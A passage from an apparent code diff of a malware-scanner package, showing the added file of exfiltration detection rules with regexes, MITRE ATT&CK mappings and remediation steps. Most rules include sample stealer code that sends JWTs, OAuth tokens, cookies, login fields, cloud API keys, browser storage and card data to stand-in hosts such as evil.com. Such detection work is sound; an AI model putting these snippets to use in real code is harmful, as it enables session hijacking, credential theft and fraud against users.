  487. package/src/analyzers/javascript/taintAnalyzer.ts +630 -0
  488. package/src/analyzers/php/index.ts +5 -0
  489. package/src/analyzers/php/phpAnalyzer.ts +280 -0
  490. package/src/analyzers/python/index.ts +5 -0
  491. package/src/analyzers/python/pythonAnalyzer.ts +319 -0
  492. package/src/cli/index.ts +276 -0
  493. package/src/dependencies/aiDependencyAnalyzer.ts +496 -0
  494. package/src/dependencies/database/cveDatabase.ts +426 -0
  495. package/src/dependencies/database/index.ts +6 -0
  496. package/src/dependencies/database/maliciousPackages.ts +286 -0
  497. package/src/dependencies/dependencyAnalyzer.ts +394 -0
  498. package/src/dependencies/detectors/index.ts +7 -0
  499. package/src/dependencies/detectors/securityStandards.ts +200 -0
  500. package/src/dependencies/detectors/vulnerabilityDetector.ts +343 -0
  501. package/src/dependencies/index.ts +27 -0
  502. package/src/dependencies/installed/index.ts +8 -0
  503. package/src/dependencies/installed/installedScanner.ts +821 -0
  504. package/src/dependencies/installed/malwarePatterns.ts +492 -0
  505. package/src/dependencies/installed/types.ts +287 -0
  506. package/src/dependencies/parsers/base/baseParser.ts +108 -0
  507. package/src/dependencies/parsers/base/index.ts +6 -0
  508. package/src/dependencies/parsers/cpp/cppParser.ts +245 -0
  509. package/src/dependencies/parsers/cpp/index.ts +6 -0
  510. package/src/dependencies/parsers/csharp/csharpParser.ts +151 -0
  511. package/src/dependencies/parsers/csharp/index.ts +6 -0
  512. package/src/dependencies/parsers/index.ts +56 -0
  513. package/src/dependencies/parsers/java/index.ts +6 -0
  514. package/src/dependencies/parsers/java/javaParser.ts +203 -0
  515. package/src/dependencies/parsers/javascript/index.ts +6 -0
  516. package/src/dependencies/parsers/javascript/javascriptParser.ts +362 -0
  517. package/src/dependencies/parsers/php/index.ts +6 -0
  518. package/src/dependencies/parsers/php/phpParser.ts +208 -0
  519. package/src/dependencies/parsers/python/index.ts +6 -0
  520. package/src/dependencies/parsers/python/pythonParser.ts +437 -0
  521. package/src/dependencies/types.ts +330 -0
  522. package/src/i18n/index.ts +1 -0
  523. package/src/i18n/translations.ts +194 -0
  524. package/src/index.ts +16 -0
  525. package/src/reports/dependencyReportGenerator.ts +717 -0
  526. package/src/reports/htmlReportGenerator.ts +781 -0
  527. package/src/reports/index.ts +7 -0
  528. package/src/reports/installedDepsReportGenerator.ts +899 -0
  529. package/src/rules/index.ts +58 -0
  530. package/src/rules/malware/INFO.md +287 -0
  531. package/src/rules/malware/categories/backdoors.ts +174 -0
  532. package/src/rules/malware/categories/cryptominers.ts +434 -0
  533. package/src/rules/malware/categories/exfiltration.ts +677 -0
  534. package/src/rules/malware/categories/keyloggers.ts +780 -0
  535. package/src/rules/malware/categories/loaders.ts +721 -0
  536. package/src/rules/malware/categories/network.ts +639 -0
  537. package/src/rules/malware/categories/obfuscation.ts +788 -0
  538. package/src/rules/malware/constants/index.ts +358 -0
  539. package/src/rules/malware/engine/index.ts +758 -0
  540. package/src/rules/malware/index.ts +928 -0
  541. package/src/rules/malware/scoring/index.ts +549 -0
  542. package/src/rules/malware/types/index.ts +752 -0
  543. package/src/rules/malware/utils/index.ts +643 -0
  544. package/src/rules/standards.ts +372 -0
  545. package/src/rules/vulnerabilities/PROMPT_VULNERABILITIES.md +226 -0
  546. package/src/rules/vulnerabilities/constants/index.ts +625 -0
  547. package/src/rules/vulnerabilities/engine/index.ts +831 -0
  548. package/src/rules/vulnerabilities/index.ts +312 -0
  549. package/src/rules/vulnerabilities/rules/authentication.ts +426 -0
  550. package/src/rules/vulnerabilities/rules/commandInjection.ts +307 -0
  551. package/src/rules/vulnerabilities/rules/csrf.ts +268 -0
  552. package/src/rules/vulnerabilities/rules/deserialization.ts +343 -0
  553. package/src/rules/vulnerabilities/rules/fileUpload.ts +332 -0
  554. package/src/rules/vulnerabilities/rules/hardcodedSecrets.ts +453 -0
  555. package/src/rules/vulnerabilities/rules/index.ts +17 -0
  556. package/src/rules/vulnerabilities/rules/pathTraversal.ts +358 -0
  557. package/src/rules/vulnerabilities/rules/prototypePollution.ts +279 -0
  558. package/src/rules/vulnerabilities/rules/securityMisconfiguration.ts +445 -0
  559. package/src/rules/vulnerabilities/rules/sqlInjection.ts +669 -0
  560. package/src/rules/vulnerabilities/rules/ssrf.ts +408 -0
  561. package/src/rules/vulnerabilities/rules/xss.ts +753 -0
  562. package/src/rules/vulnerabilities/scoring/index.ts +543 -0
  563. package/src/rules/vulnerabilities/types/index.ts +1004 -0
  564. package/src/rules/vulnerabilities/utils/index.ts +709 -0
  565. package/src/types/index.ts +391 -0
  566. package/src/utils/index.ts +306 -0
  567. package/src/utils/logger.ts +150 -0
  568. package/test-installed-scanner.ts +136 -0
  569. package/tsconfig.json +30 -0
@@ -0,0 +1,677 @@
1
+ /**
2
+ * @fileoverview Data Exfiltration and Credential Theft Detection Rules
3
+ * @module rules/malware/categories/exfiltration
4
+ *
5
+ * Comprehensive rules for detecting data theft including:
6
+ * - Token stealers (JWT, OAuth, API keys)
7
+ * - Cookie stealers
8
+ * - Credential harvesters
9
+ * - localStorage/sessionStorage theft
10
+ * - Sensitive data exfiltration
11
+ */
12
+
13
+ import {
14
+ MalwareRule,
15
+ MalwareThreatType,
16
+ MalwareCategory,
17
+ MalwareSeverity,
18
+ ConfidenceLevel,
19
+ SupportedLanguage,
20
+ PatternType,
21
+ MitreTactic
22
+ } from '../types';
23
+
24
+ // ============================================================================
25
+ // TOKEN STEALER RULES
26
+ // ============================================================================
27
+
28
+ export const tokenStealerRules: MalwareRule[] = [
29
+ {
30
+ id: 'MAL-EXFIL-001',
31
+ name: 'Token Stealer - JWT Exfiltration',
32
+ description: 'Detects code that extracts and exfiltrates JWT tokens.',
33
+ version: '2.0.0',
34
+ threatType: MalwareThreatType.TOKEN_STEALER,
35
+ category: MalwareCategory.SPYWARE,
36
+ languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
37
+ severity: MalwareSeverity.CRITICAL,
38
+ confidence: ConfidenceLevel.HIGH,
39
+ baseScore: 88,
40
+ patterns: [
41
+ {
42
+ type: PatternType.REGEX,
43
+ patternId: 'jwt-extract-exfil',
44
+ pattern: '(?:localStorage|sessionStorage)\\.getItem\\s*\\([^)]*(?:token|jwt|auth)[^)]*\\)[\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|axios)',
45
+ flags: 'gis',
46
+ weight: 1.0,
47
+ description: 'JWT extraction from storage with network call'
48
+ },
49
+ {
50
+ type: PatternType.REGEX,
51
+ patternId: 'auth-header-exfil',
52
+ pattern: 'Authorization[\'"]?\\s*:\\s*[\'"]?Bearer\\s+[\\s\\S]*?(?:fetch|post|send)',
53
+ flags: 'gis',
54
+ weight: 0.8,
55
+ description: 'Authorization header exfiltration'
56
+ },
57
+ {
58
+ type: PatternType.REGEX,
59
+ patternId: 'jwt-regex-capture',
60
+ pattern: 'eyJ[A-Za-z0-9_-]+\\.eyJ[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+',
61
+ flags: 'g',
62
+ weight: 0.5,
63
+ description: 'Hardcoded JWT pattern'
64
+ }
65
+ ],
66
+ amplifyingPatterns: [
67
+ {
68
+ type: PatternType.REGEX,
69
+ patternId: 'external-endpoint',
70
+ pattern: 'https?:\\/\\/(?!localhost|127\\.0\\.0\\.1)[a-z0-9.-]+',
71
+ flags: 'gi',
72
+ weight: 0.4,
73
+ description: 'External endpoint'
74
+ }
75
+ ],
76
+ maliciousExamples: [
77
+ {
78
+ code: `const token = localStorage.getItem('jwt_token');
79
+ if (token) {
80
+ fetch('https://evil.com/collect', {
81
+ method: 'POST',
82
+ body: JSON.stringify({ token, origin: location.origin })
83
+ });
84
+ }`,
85
+ language: SupportedLanguage.JAVASCRIPT,
86
+ isMalicious: true,
87
+ description: 'JWT token theft and exfiltration'
88
+ }
89
+ ],
90
+ impact: {
91
+ technical: 'Steals authentication tokens enabling session hijacking.',
92
+ business: 'Account takeover, unauthorized access to user data.',
93
+ affectedAssets: ['User sessions', 'Authentication tokens'],
94
+ dataAtRisk: ['User accounts', 'Session data', 'API access']
95
+ },
96
+ remediation: {
97
+ summary: 'Remove token stealing code and rotate all affected tokens.',
98
+ steps: [
99
+ 'Remove the malicious code',
100
+ 'Invalidate all existing tokens',
101
+ 'Implement token rotation',
102
+ 'Add CSP to prevent data exfiltration',
103
+ 'Consider using httpOnly cookies instead of localStorage'
104
+ ]
105
+ },
106
+ mitreAttack: [
107
+ {
108
+ tacticId: MitreTactic.CREDENTIAL_ACCESS,
109
+ tacticName: 'Credential Access',
110
+ techniqueId: 'T1528',
111
+ techniqueName: 'Steal Application Access Token',
112
+ url: 'https://attack.mitre.org/techniques/T1528/'
113
+ }
114
+ ],
115
+ tags: ['token-stealer', 'jwt', 'authentication', 'critical'],
116
+ enabled: true
117
+ },
118
+ {
119
+ id: 'MAL-EXFIL-002',
120
+ name: 'Token Stealer - OAuth Token Theft',
121
+ description: 'Detects OAuth token extraction and exfiltration patterns.',
122
+ version: '2.0.0',
123
+ threatType: MalwareThreatType.TOKEN_STEALER,
124
+ category: MalwareCategory.SPYWARE,
125
+ languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT, SupportedLanguage.PYTHON],
126
+ severity: MalwareSeverity.CRITICAL,
127
+ confidence: ConfidenceLevel.HIGH,
128
+ baseScore: 90,
129
+ patterns: [
130
+ {
131
+ type: PatternType.REGEX,
132
+ patternId: 'oauth-token-exfil',
133
+ pattern: '(?:access_token|refresh_token|oauth_token)[\\s\\S]*?(?:fetch|XMLHttpRequest|requests\\.post)',
134
+ flags: 'gis',
135
+ weight: 1.0,
136
+ description: 'OAuth token exfiltration'
137
+ },
138
+ {
139
+ type: PatternType.REGEX,
140
+ patternId: 'url-fragment-token',
141
+ pattern: 'location\\.hash[\\s\\S]*?access_token[\\s\\S]*?(?:fetch|post|send)',
142
+ flags: 'gis',
143
+ weight: 1.0,
144
+ description: 'URL fragment token extraction'
145
+ },
146
+ {
147
+ type: PatternType.REGEX,
148
+ patternId: 'oauth-callback-intercept',
149
+ pattern: '(?:oauth|callback|redirect)[\\s\\S]*?(?:code|token)\\s*=\\s*[^&\\s]+[\\s\\S]*?(?:fetch|http)',
150
+ flags: 'gis',
151
+ weight: 0.9,
152
+ description: 'OAuth callback interception'
153
+ }
154
+ ],
155
+ maliciousExamples: [
156
+ {
157
+ code: `const hash = new URLSearchParams(location.hash.slice(1));
158
+ const accessToken = hash.get('access_token');
159
+ if (accessToken) {
160
+ navigator.sendBeacon('/collect', JSON.stringify({ access_token: accessToken }));
161
+ }`,
162
+ language: SupportedLanguage.JAVASCRIPT,
163
+ isMalicious: true,
164
+ description: 'OAuth implicit flow token theft'
165
+ }
166
+ ],
167
+ impact: {
168
+ technical: 'Steals OAuth tokens from redirect flows.',
169
+ business: 'Third-party account compromise and data access.',
170
+ affectedAssets: ['OAuth tokens', 'Third-party integrations'],
171
+ dataAtRisk: ['Connected accounts', 'API access']
172
+ },
173
+ remediation: {
174
+ summary: 'Remove OAuth token theft code and revoke compromised tokens.',
175
+ steps: [
176
+ 'Remove malicious token handling code',
177
+ 'Revoke OAuth tokens through provider',
178
+ 'Use PKCE for OAuth flows',
179
+ 'Validate redirect URIs strictly'
180
+ ]
181
+ },
182
+ tags: ['token-stealer', 'oauth', 'critical'],
183
+ enabled: true
184
+ }
185
+ ];
186
+
187
+ // ============================================================================
188
+ // COOKIE STEALER RULES
189
+ // ============================================================================
190
+
191
+ export const cookieStealerRules: MalwareRule[] = [
192
+ {
193
+ id: 'MAL-EXFIL-010',
194
+ name: 'Cookie Stealer - Document.cookie Exfiltration',
195
+ description: 'Detects exfiltration of cookies via document.cookie.',
196
+ version: '2.0.0',
197
+ threatType: MalwareThreatType.COOKIE_STEALER,
198
+ category: MalwareCategory.SPYWARE,
199
+ languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
200
+ severity: MalwareSeverity.CRITICAL,
201
+ confidence: ConfidenceLevel.CONFIRMED,
202
+ baseScore: 92,
203
+ patterns: [
204
+ {
205
+ type: PatternType.REGEX,
206
+ patternId: 'cookie-fetch',
207
+ pattern: 'document\\.cookie[\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|axios)',
208
+ flags: 'gis',
209
+ weight: 1.0,
210
+ description: 'Cookie with fetch/XHR'
211
+ },
212
+ {
213
+ type: PatternType.REGEX,
214
+ patternId: 'cookie-image',
215
+ pattern: '(?:new\\s+Image\\s*\\(\\s*\\)|document\\.createElement\\s*\\([\'"]img[\'"]\\))[\\s\\S]*?\\.src\\s*=[\\s\\S]*?document\\.cookie',
216
+ flags: 'gis',
217
+ weight: 1.0,
218
+ description: 'Cookie via image beacon'
219
+ },
220
+ {
221
+ type: PatternType.REGEX,
222
+ patternId: 'cookie-beacon',
223
+ pattern: 'navigator\\.sendBeacon\\s*\\([^)]*document\\.cookie',
224
+ flags: 'gis',
225
+ weight: 1.0,
226
+ description: 'Cookie via sendBeacon'
227
+ },
228
+ {
229
+ type: PatternType.REGEX,
230
+ patternId: 'cookie-websocket',
231
+ pattern: 'WebSocket[\\s\\S]*?send\\s*\\([^)]*document\\.cookie',
232
+ flags: 'gis',
233
+ weight: 1.0,
234
+ description: 'Cookie via WebSocket'
235
+ },
236
+ {
237
+ type: PatternType.REGEX,
238
+ patternId: 'cookie-redirect',
239
+ pattern: 'location(?:\\.href)?\\s*=\\s*[^;]*\\+\\s*document\\.cookie',
240
+ flags: 'gis',
241
+ weight: 1.0,
242
+ description: 'Cookie via redirect'
243
+ }
244
+ ],
245
+ maliciousExamples: [
246
+ {
247
+ code: `new Image().src = "https://evil.com/steal?c=" + encodeURIComponent(document.cookie);`,
248
+ language: SupportedLanguage.JAVASCRIPT,
249
+ isMalicious: true,
250
+ description: 'Classic cookie stealer via image'
251
+ },
252
+ {
253
+ code: `fetch('https://evil.com/log', {
254
+ method: 'POST',
255
+ body: JSON.stringify({
256
+ cookies: document.cookie,
257
+ url: location.href
258
+ })
259
+ });`,
260
+ language: SupportedLanguage.JAVASCRIPT,
261
+ isMalicious: true,
262
+ description: 'Cookie exfiltration via fetch'
263
+ }
264
+ ],
265
+ impact: {
266
+ technical: 'Steals session cookies enabling session hijacking.',
267
+ business: 'Account takeover without credentials.',
268
+ affectedAssets: ['Session cookies', 'Authentication state'],
269
+ dataAtRisk: ['User sessions', 'Authenticated access']
270
+ },
271
+ remediation: {
272
+ summary: 'Remove cookie stealing code and implement cookie protections.',
273
+ steps: [
274
+ 'Remove the malicious code',
275
+ 'Set HttpOnly flag on sensitive cookies',
276
+ 'Set Secure flag for HTTPS',
277
+ 'Implement SameSite cookie attribute',
278
+ 'Deploy Content Security Policy'
279
+ ]
280
+ },
281
+ mitreAttack: [
282
+ {
283
+ tacticId: MitreTactic.CREDENTIAL_ACCESS,
284
+ tacticName: 'Credential Access',
285
+ techniqueId: 'T1539',
286
+ techniqueName: 'Steal Web Session Cookie',
287
+ url: 'https://attack.mitre.org/techniques/T1539/'
288
+ }
289
+ ],
290
+ tags: ['cookie-stealer', 'session-hijacking', 'xss', 'critical'],
291
+ enabled: true
292
+ }
293
+ ];
294
+
295
+ // ============================================================================
296
+ // CREDENTIAL HARVESTER RULES
297
+ // ============================================================================
298
+
299
+ export const credentialHarvesterRules: MalwareRule[] = [
300
+ {
301
+ id: 'MAL-EXFIL-020',
302
+ name: 'Credential Harvester - Form Data Theft',
303
+ description: 'Detects patterns for harvesting credentials from forms.',
304
+ version: '2.0.0',
305
+ threatType: MalwareThreatType.CREDENTIAL_STEALER,
306
+ category: MalwareCategory.SPYWARE,
307
+ languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
308
+ severity: MalwareSeverity.CRITICAL,
309
+ confidence: ConfidenceLevel.HIGH,
310
+ baseScore: 90,
311
+ patterns: [
312
+ {
313
+ type: PatternType.REGEX,
314
+ patternId: 'password-field-grab',
315
+ pattern: 'querySelector\\s*\\([^)]*type\\s*=\\s*[\'"]password[\'"][^)]*\\)[\\s\\S]*?\\.value[\\s\\S]*?(?:fetch|XMLHttpRequest|post)',
316
+ flags: 'gis',
317
+ weight: 1.0,
318
+ description: 'Password field value extraction'
319
+ },
320
+ {
321
+ type: PatternType.REGEX,
322
+ patternId: 'input-values-collect',
323
+ pattern: 'querySelectorAll\\s*\\([\'"]input[\'"]\\)[\\s\\S]*?value[\\s\\S]*?(?:fetch|XMLHttpRequest)',
324
+ flags: 'gis',
325
+ weight: 0.8,
326
+ description: 'Mass input collection'
327
+ },
328
+ {
329
+ type: PatternType.REGEX,
330
+ patternId: 'credentials-object',
331
+ pattern: '\\{[^}]*(?:username|email|password|credential)[^}]*\\}[\\s\\S]*?(?:fetch|post|send)',
332
+ flags: 'gis',
333
+ weight: 0.7,
334
+ description: 'Credentials object exfiltration'
335
+ }
336
+ ],
337
+ maliciousExamples: [
338
+ {
339
+ code: `const email = document.querySelector('input[type="email"]').value;
340
+ const password = document.querySelector('input[type="password"]').value;
341
+ fetch('https://evil.com/creds', {
342
+ method: 'POST',
343
+ body: JSON.stringify({ email, password, site: location.host })
344
+ });`,
345
+ language: SupportedLanguage.JAVASCRIPT,
346
+ isMalicious: true,
347
+ description: 'Direct credential field extraction'
348
+ }
349
+ ],
350
+ impact: {
351
+ technical: 'Harvests credentials directly from login forms.',
352
+ business: 'Direct credential theft leading to account compromise.',
353
+ affectedAssets: ['User credentials', 'Login forms'],
354
+ dataAtRisk: ['Usernames', 'Passwords', 'Email addresses']
355
+ },
356
+ remediation: {
357
+ summary: 'Remove credential harvesting code and audit form handling.',
358
+ steps: [
359
+ 'Remove malicious form handlers',
360
+ 'Audit all form submit listeners',
361
+ 'Implement CSP to prevent exfiltration',
362
+ 'Consider virtual keyboards for sensitive input'
363
+ ]
364
+ },
365
+ tags: ['credential-theft', 'form-grabber', 'critical'],
366
+ enabled: true
367
+ },
368
+ {
369
+ id: 'MAL-EXFIL-021',
370
+ name: 'Credential Harvester - API Key Theft',
371
+ description: 'Detects patterns for stealing API keys and secrets.',
372
+ version: '2.0.0',
373
+ threatType: MalwareThreatType.CREDENTIAL_STEALER,
374
+ category: MalwareCategory.SPYWARE,
375
+ languages: [
376
+ SupportedLanguage.JAVASCRIPT,
377
+ SupportedLanguage.TYPESCRIPT,
378
+ SupportedLanguage.PYTHON
379
+ ],
380
+ severity: MalwareSeverity.HIGH,
381
+ confidence: ConfidenceLevel.HIGH,
382
+ baseScore: 82,
383
+ patterns: [
384
+ {
385
+ type: PatternType.REGEX,
386
+ patternId: 'api-key-exfil',
387
+ pattern: '(?:api[-_]?key|api[-_]?secret|secret[-_]?key)\\s*[=:]\\s*[\'"][^\'"]+[\'"][\\s\\S]*?(?:fetch|requests|http)',
388
+ flags: 'gis',
389
+ weight: 0.9,
390
+ description: 'API key with network call'
391
+ },
392
+ {
393
+ type: PatternType.REGEX,
394
+ patternId: 'env-var-exfil',
395
+ pattern: 'process\\.env\\.[A-Z_]+(?:KEY|SECRET|TOKEN)[\\s\\S]*?(?:fetch|request|http)',
396
+ flags: 'gis',
397
+ weight: 1.0,
398
+ description: 'Environment variable key exfiltration'
399
+ },
400
+ {
401
+ type: PatternType.REGEX,
402
+ patternId: 'config-secrets-exfil',
403
+ pattern: '(?:config|settings|secrets)\\.[a-z]+(?:Key|Secret|Token)[\\s\\S]*?(?:post|send|fetch)',
404
+ flags: 'gis',
405
+ weight: 0.8,
406
+ description: 'Config secrets exfiltration'
407
+ }
408
+ ],
409
+ maliciousExamples: [
410
+ {
411
+ code: `const secrets = {
412
+ awsKey: process.env.AWS_ACCESS_KEY_ID,
413
+ awsSecret: process.env.AWS_SECRET_ACCESS_KEY,
414
+ stripeKey: process.env.STRIPE_SECRET_KEY
415
+ };
416
+ fetch('https://evil.com/keys', { method: 'POST', body: JSON.stringify(secrets) });`,
417
+ language: SupportedLanguage.JAVASCRIPT,
418
+ isMalicious: true,
419
+ description: 'Environment secrets exfiltration'
420
+ }
421
+ ],
422
+ impact: {
423
+ technical: 'Steals API keys providing access to external services.',
424
+ business: 'Cloud service compromise, financial loss, data breach.',
425
+ affectedAssets: ['API credentials', 'Cloud services'],
426
+ dataAtRisk: ['Cloud resources', 'Third-party service access']
427
+ },
428
+ remediation: {
429
+ summary: 'Remove API key theft code and rotate all exposed keys.',
430
+ steps: [
431
+ 'Remove malicious code',
432
+ 'Rotate all potentially exposed API keys',
433
+ 'Audit environment variable access',
434
+ 'Implement secrets management solution'
435
+ ]
436
+ },
437
+ tags: ['api-key', 'secrets', 'credential-theft', 'high'],
438
+ enabled: true
439
+ }
440
+ ];
441
+
442
+ // ============================================================================
443
+ // STORAGE THEFT RULES
444
+ // ============================================================================
445
+
446
+ export const storageTheftRules: MalwareRule[] = [
447
+ {
448
+ id: 'MAL-EXFIL-030',
449
+ name: 'Storage Theft - LocalStorage/SessionStorage Exfiltration',
450
+ description: 'Detects bulk exfiltration of browser storage data.',
451
+ version: '2.0.0',
452
+ threatType: MalwareThreatType.DATA_EXFILTRATION,
453
+ category: MalwareCategory.SPYWARE,
454
+ languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
455
+ severity: MalwareSeverity.HIGH,
456
+ confidence: ConfidenceLevel.HIGH,
457
+ baseScore: 78,
458
+ patterns: [
459
+ {
460
+ type: PatternType.REGEX,
461
+ patternId: 'localstorage-dump',
462
+ pattern: 'Object\\.(?:keys|entries)\\s*\\(\\s*localStorage\\s*\\)[\\s\\S]*?(?:fetch|XMLHttpRequest|post)',
463
+ flags: 'gis',
464
+ weight: 1.0,
465
+ description: 'LocalStorage dump and exfil'
466
+ },
467
+ {
468
+ type: PatternType.REGEX,
469
+ patternId: 'storage-iterate',
470
+ pattern: 'for\\s*\\([^)]*localStorage[^)]*\\)[\\s\\S]*?(?:fetch|send|post)',
471
+ flags: 'gis',
472
+ weight: 0.9,
473
+ description: 'LocalStorage iteration with exfil'
474
+ },
475
+ {
476
+ type: PatternType.REGEX,
477
+ patternId: 'json-stringify-storage',
478
+ pattern: 'JSON\\.stringify\\s*\\([^)]*(?:localStorage|sessionStorage)[^)]*\\)[\\s\\S]*?(?:fetch|XMLHttpRequest)',
479
+ flags: 'gis',
480
+ weight: 1.0,
481
+ description: 'Storage serialization and exfil'
482
+ }
483
+ ],
484
+ maliciousExamples: [
485
+ {
486
+ code: `const storageData = {};
487
+ for (let i = 0; i < localStorage.length; i++) {
488
+ const key = localStorage.key(i);
489
+ storageData[key] = localStorage.getItem(key);
490
+ }
491
+ fetch('https://evil.com/storage', {
492
+ method: 'POST',
493
+ body: JSON.stringify(storageData)
494
+ });`,
495
+ language: SupportedLanguage.JAVASCRIPT,
496
+ isMalicious: true,
497
+ description: 'Complete localStorage exfiltration'
498
+ }
499
+ ],
500
+ impact: {
501
+ technical: 'Exfiltrates all browser storage data.',
502
+ business: 'Theft of cached credentials, preferences, and application state.',
503
+ affectedAssets: ['Browser storage', 'Cached data'],
504
+ dataAtRisk: ['Tokens', 'User preferences', 'Application data']
505
+ },
506
+ remediation: {
507
+ summary: 'Remove storage theft code and audit storage usage.',
508
+ steps: [
509
+ 'Remove malicious code',
510
+ 'Audit what data is stored in browser storage',
511
+ 'Encrypt sensitive storage data',
512
+ 'Implement CSP'
513
+ ]
514
+ },
515
+ tags: ['localstorage', 'exfiltration', 'data-theft', 'high'],
516
+ enabled: true
517
+ },
518
+ {
519
+ id: 'MAL-EXFIL-031',
520
+ name: 'Storage Theft - IndexedDB Exfiltration',
521
+ description: 'Detects exfiltration of IndexedDB data.',
522
+ version: '2.0.0',
523
+ threatType: MalwareThreatType.DATA_EXFILTRATION,
524
+ category: MalwareCategory.SPYWARE,
525
+ languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
526
+ severity: MalwareSeverity.HIGH,
527
+ confidence: ConfidenceLevel.MEDIUM,
528
+ baseScore: 72,
529
+ patterns: [
530
+ {
531
+ type: PatternType.REGEX,
532
+ patternId: 'indexeddb-getall',
533
+ pattern: 'objectStore\\s*\\([^)]+\\)\\.getAll\\s*\\([\\s\\S]*?\\)[\\s\\S]*?(?:fetch|XMLHttpRequest)',
534
+ flags: 'gis',
535
+ weight: 0.9,
536
+ description: 'IndexedDB getAll with exfil'
537
+ },
538
+ {
539
+ type: PatternType.REGEX,
540
+ patternId: 'indexeddb-cursor',
541
+ pattern: 'openCursor[\\s\\S]*?onsuccess[\\s\\S]*?(?:fetch|post|send)',
542
+ flags: 'gis',
543
+ weight: 0.8,
544
+ description: 'IndexedDB cursor iteration with exfil'
545
+ }
546
+ ],
547
+ maliciousExamples: [
548
+ {
549
+ code: `const request = indexedDB.open('userDB');
550
+ request.onsuccess = (e) => {
551
+ const db = e.target.result;
552
+ const tx = db.transaction('credentials', 'readonly');
553
+ tx.objectStore('credentials').getAll().onsuccess = (e) => {
554
+ fetch('https://evil.com/db', { method: 'POST', body: JSON.stringify(e.target.result) });
555
+ };
556
+ };`,
557
+ language: SupportedLanguage.JAVASCRIPT,
558
+ isMalicious: true,
559
+ description: 'IndexedDB credentials exfiltration'
560
+ }
561
+ ],
562
+ impact: {
563
+ technical: 'Exfiltrates IndexedDB data which may contain sensitive cached information.',
564
+ business: 'Theft of offline-cached data and credentials.',
565
+ affectedAssets: ['IndexedDB', 'Offline data'],
566
+ dataAtRisk: ['Cached records', 'Offline credentials']
567
+ },
568
+ remediation: {
569
+ summary: 'Remove IndexedDB theft code and encrypt sensitive stored data.',
570
+ steps: [
571
+ 'Remove malicious code',
572
+ 'Audit IndexedDB usage',
573
+ 'Encrypt sensitive IndexedDB data'
574
+ ]
575
+ },
576
+ tags: ['indexeddb', 'exfiltration', 'data-theft', 'high'],
577
+ enabled: true
578
+ }
579
+ ];
580
+
581
+ // ============================================================================
582
+ // SENSITIVE DATA EXFILTRATION RULES
583
+ // ============================================================================
584
+
585
+ export const sensitiveDataRules: MalwareRule[] = [
586
+ {
587
+ id: 'MAL-EXFIL-040',
588
+ name: 'Sensitive Data - PII Exfiltration',
589
+ description: 'Detects patterns that collect and exfiltrate personally identifiable information.',
590
+ version: '2.0.0',
591
+ threatType: MalwareThreatType.DATA_EXFILTRATION,
592
+ category: MalwareCategory.SPYWARE,
593
+ languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT, SupportedLanguage.PYTHON],
594
+ severity: MalwareSeverity.CRITICAL,
595
+ confidence: ConfidenceLevel.MEDIUM,
596
+ baseScore: 80,
597
+ patterns: [
598
+ {
599
+ type: PatternType.REGEX,
600
+ patternId: 'pii-collect',
601
+ pattern: '(?:ssn|social[-_]?security|credit[-_]?card|passport|driver[-_]?license)[\\s\\S]*?(?:fetch|post|send|requests)',
602
+ flags: 'gis',
603
+ weight: 1.0,
604
+ description: 'PII field collection with exfil'
605
+ },
606
+ {
607
+ type: PatternType.REGEX,
608
+ patternId: 'cc-pattern-exfil',
609
+ pattern: '\\d{4}[-\\s]?\\d{4}[-\\s]?\\d{4}[-\\s]?\\d{4}[\\s\\S]*?(?:fetch|XMLHttpRequest)',
610
+ flags: 'gis',
611
+ weight: 0.9,
612
+ description: 'Credit card pattern with exfil'
613
+ },
614
+ {
615
+ type: PatternType.REGEX,
616
+ patternId: 'financial-data',
617
+ pattern: '(?:bank[-_]?account|routing[-_]?number|iban|swift)[\\s\\S]*?(?:post|send|fetch)',
618
+ flags: 'gis',
619
+ weight: 1.0,
620
+ description: 'Financial data exfiltration'
621
+ }
622
+ ],
623
+ maliciousExamples: [
624
+ {
625
+ code: `const ccData = {
626
+ number: document.getElementById('cc-number').value,
627
+ cvv: document.getElementById('cvv').value,
628
+ expiry: document.getElementById('expiry').value
629
+ };
630
+ fetch('https://evil.com/cc', { method: 'POST', body: JSON.stringify(ccData) });`,
631
+ language: SupportedLanguage.JAVASCRIPT,
632
+ isMalicious: true,
633
+ description: 'Credit card data exfiltration'
634
+ }
635
+ ],
636
+ impact: {
637
+ technical: 'Collects and exfiltrates sensitive personal and financial data.',
638
+ business: 'PCI compliance violation, identity theft, financial fraud.',
639
+ affectedAssets: ['Customer PII', 'Payment data'],
640
+ dataAtRisk: ['Credit cards', 'SSN', 'Financial records']
641
+ },
642
+ remediation: {
643
+ summary: 'Remove PII exfiltration code and implement data protection controls.',
644
+ steps: [
645
+ 'Remove malicious code immediately',
646
+ 'Notify affected users per compliance requirements',
647
+ 'Implement tokenization for sensitive data',
648
+ 'Add CSP and form protection'
649
+ ]
650
+ },
651
+ mitreAttack: [
652
+ {
653
+ tacticId: MitreTactic.EXFILTRATION,
654
+ tacticName: 'Exfiltration',
655
+ techniqueId: 'T1041',
656
+ techniqueName: 'Exfiltration Over C2 Channel',
657
+ url: 'https://attack.mitre.org/techniques/T1041/'
658
+ }
659
+ ],
660
+ tags: ['pii', 'credit-card', 'data-theft', 'compliance', 'critical'],
661
+ enabled: true
662
+ }
663
+ ];
664
+
665
+ // ============================================================================
666
+ // EXPORT ALL EXFILTRATION RULES
667
+ // ============================================================================
668
+
669
+ export const exfiltrationRules: MalwareRule[] = [
670
+ ...tokenStealerRules,
671
+ ...cookieStealerRules,
672
+ ...credentialHarvesterRules,
673
+ ...storageTheftRules,
674
+ ...sensitiveDataRules
675
+ ];
676
+
677
+ export default exfiltrationRules;